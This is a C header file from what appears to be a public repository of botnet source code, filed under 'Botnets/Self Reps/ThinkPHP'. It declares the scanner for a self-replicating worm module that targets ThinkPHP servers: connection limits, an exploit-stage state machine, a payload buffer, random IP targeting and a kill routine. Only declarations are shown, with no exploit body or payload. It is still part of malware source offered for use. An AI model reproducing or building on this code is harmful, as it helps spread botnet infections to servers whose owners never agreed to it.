Path: blob/master/Botnets/Self Reps/ThinkPHP/thinkphp.h
5038 views
#ifdef SELFREP12#pragma once34#include <stdint.h>56#include "includes.h"78#define thinkphp_SCANNER_MAX_CONNS 1289#define thinkphp_SCANNER_RAW_PPS 1601011#define thinkphp_SCANNER_RDBUF_SIZE 25612#define thinkphp_SCANNER_HACK_DRAIN 641314struct thinkphp_scanner_connection15{16int fd, last_recv;17enum18{19thinkphp_SC_CLOSED,20thinkphp_SC_CONNECTING,21thinkphp_SC_EXPLOIT_STAGE2,22thinkphp_SC_EXPLOIT_STAGE3,23} state;24ipv4_t dst_addr;25uint16_t dst_port;26int rdbuf_pos;27char rdbuf[thinkphp_SCANNER_RDBUF_SIZE];28char payload_buf[1024];29};3031void thinkphp_scanner();32void thinkphp_kill(void);3334static void thinkphp_setup_connection(struct thinkphp_scanner_connection *);35static ipv4_t thinkphp_get_random_ip(void);3637#endif3839404142